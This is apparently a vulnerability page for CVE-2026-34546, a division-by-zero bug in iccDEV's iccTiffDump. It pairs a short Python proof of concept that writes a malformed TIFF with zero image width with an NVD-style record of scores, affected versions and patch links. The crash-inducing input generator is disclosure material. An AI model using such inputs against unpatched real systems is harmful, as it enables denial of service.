CVE-2026-34546

import struct # PoC for CVE-2026-34546: Division by Zero in iccDEV iccTiffDump # This script creates a malformed TIFF file attempting to trigger a crash. def create_malformed_tiff(filepath): # TIFF Header: Little Endian (II), Magic 42, IFD Offset 8 header = b"II" + struct.pack("<H", 42) + struct.pack("<I", 8) # Number of Directory Entries num_entries = struct.pack("<H", 1) # IFD Entry: Tag 256 (ImageWidth), Type 4 (Long), Count 1, Value 0 # Setting a width to 0 often triggers division by zero in processing logic. entry = struct.pack("<HHII", 256, 4, 1, 0) # Next IFD Offset (0 = None) next_ifd = struct.pack("<I", 0) with open(filepath, "wb") as f: f.write(header + num_entries + entry + next_ifd) print(f"[+] Generated malformed TIFF: {filepath}") print(f"[+] Run: iccTiffDump {filepath} to test.") if __name__ == "__main__": create_malformed_tiff("cve_2026_34546_poc.tif")

{"cve": {"id": "CVE-2026-34546", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:09.287", "lastModified": "2026-04-20T14:32:34.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted TIFF input can trigger Undefined Behavior (UB) due to division by zero in the TIFF handling code paths used by iccTiffDump. This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, una entrada TIFF especialmente diseñada puede desencadenar un Comportamiento Indefinido (UB) debido a una división por cero en las rutas de código de manejo de TIFF utilizadas por iccTiffDump. Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/719", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/723", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-fxgq-wf5v-25pq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}